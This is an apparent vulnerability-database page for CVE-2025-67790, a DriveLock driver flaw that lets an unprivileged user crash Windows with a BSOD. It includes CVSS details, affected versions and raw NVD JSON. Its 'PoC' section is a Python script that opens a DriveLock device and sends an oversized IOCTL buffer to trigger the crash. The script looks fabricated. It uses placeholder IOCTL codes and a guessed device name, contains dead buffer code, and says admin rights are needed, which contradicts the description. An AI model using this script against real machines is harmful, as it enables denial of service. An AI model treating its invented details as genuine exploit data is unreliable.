Security Vulnerability Report
中文
CVE-2025-67790 CVSS 7.5 HIGH

CVE-2025-67790

Published: 2025-12-17 21:16:16
Last Modified: 2025-12-18 20:16:08

Description

An issue was discovered in DriveLock 24.1 before 24.1.6, 24.2 before 24.2.7, and 25.1 before 25.1.5. An unprivileged user could cause occasionally a Blue Screen Of Death (BSOD) on Windows computers by using an IOCTL and an unterminated string.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
DriveLock 24.1 < 24.1.6
DriveLock 24.2 < 24.2.7
DriveLock 25.1 < 25.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-67790 PoC - DriveLock IOCTL Buffer Over-read BSOD # Affected: DriveLock versions before 24.1.6, 24.2.7, 25.1.5 import struct import sys from ctypes import * # Windows API definitions kernel32 = windll.kernel32 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 IOCTL_DRIVELOCK_BASE = 0x9C406400 # Example IOCTL base code METHOD_BUFFERED = 0 METHOD_IN_DIRECT = 1 METHOD_OUT_DIRECT = 2 METHOD_NEITHER = 3 FILE_ANY_ACCESS = 0 FILE_SPECIAL_ACCESS = FILE_ANY_ACCESS def CTL_CODE(device_type, function, method, access): """Create IOCTL code""" return (device_type << 16) | (access << 14) | (function << 2) | method def create_exploit_buffer(): """Create malformed buffer with unterminated string""" # Create buffer that will cause buffer over-read # The buffer contains an unterminated string that extends # beyond the allocated buffer boundary buffer = bytearray(256) # Fill with pattern for i in range(256): buffer[i] = 0x41 # 'A' # Create unterminated string that triggers over-read exploit_data = b'A' * 512 # Data exceeds buffer size return bytes(exploit_data) def open_drivlock_device(): """Open DriveLock device driver""" device_name = "\\\\.\\DriveLock" handle = kernel32.CreateFileA( device_name.encode(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) if handle == -1: print("[-] Failed to open DriveLock device") return None print("[+] DriveLock device opened successfully") return handle def trigger_vulnerability(handle): """Send malicious IOCTL request to trigger BSOD""" ioctl_code = CTL_CODE(0x9C40, 0x1000, METHOD_BUFFERED, FILE_ANY_ACCESS) exploit_buffer = create_exploit_buffer() input_buffer = create_exploit_buffer() output_buffer = create_exploit_buffer() bytes_returned = c_ulong() print(f"[*] Sending malicious IOCTL request: 0x{ioctl_code:08X}") print(f"[*] Buffer size: {len(exploit_buffer)} bytes") result = kernel32.DeviceIoControl( handle, ioctl_code, input_buffer, len(input_buffer), output_buffer, len(output_buffer), byref(bytes_returned), None ) if result: print("[+] IOCTL request completed") else: error = kernel32.GetLastError() print(f"[-] IOCTL request failed with error: {error}") if error == 6: # Invalid Handle print("[-] DriveLock driver not loaded or not accessible") def main(): print("=" * 60) print("CVE-2025-67790 PoC - DriveLock BSOD Trigger") print("=" * 60) handle = open_drivlock_device() if handle: try: trigger_vulnerability(handle) finally: kernel32.CloseHandle(handle) else: print("\n[!] Note: DriveLock driver must be installed") print("[!] This PoC requires administrator privileges") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67790", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:16.237", "lastModified": "2025-12-18T20:16:08.180", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in DriveLock 24.1 before 24.1.6, 24.2 before 24.2.7, and 25.1 before 25.1.5. An unprivileged user could cause occasionally a Blue Screen Of Death (BSOD) on Windows computers by using an IOCTL and an unterminated string."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.1", "versionEndExcluding": "24.1.6", "matchCriteriaId": "540852DA-B4D8-400B-8147-35960DD28869"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.2", "versionEndExcluding": "24.2.7", "matchCriteriaId": "543CFF8B-6105-4B74-B810-94CFF0F429E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndExcluding": "25.1.5", "matchCriteriaId": "BC33832C-D3F8-44BA-9385-DFAD7E4F1C12"}]}]}], "references": [{"url": "https://drivelock.help/versions/2025_1/web/en/releasenotes/Content/ReleaseNotes_DriveLock/SecurityBulletins/25-005-BufferOverreadBSOD.htm", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}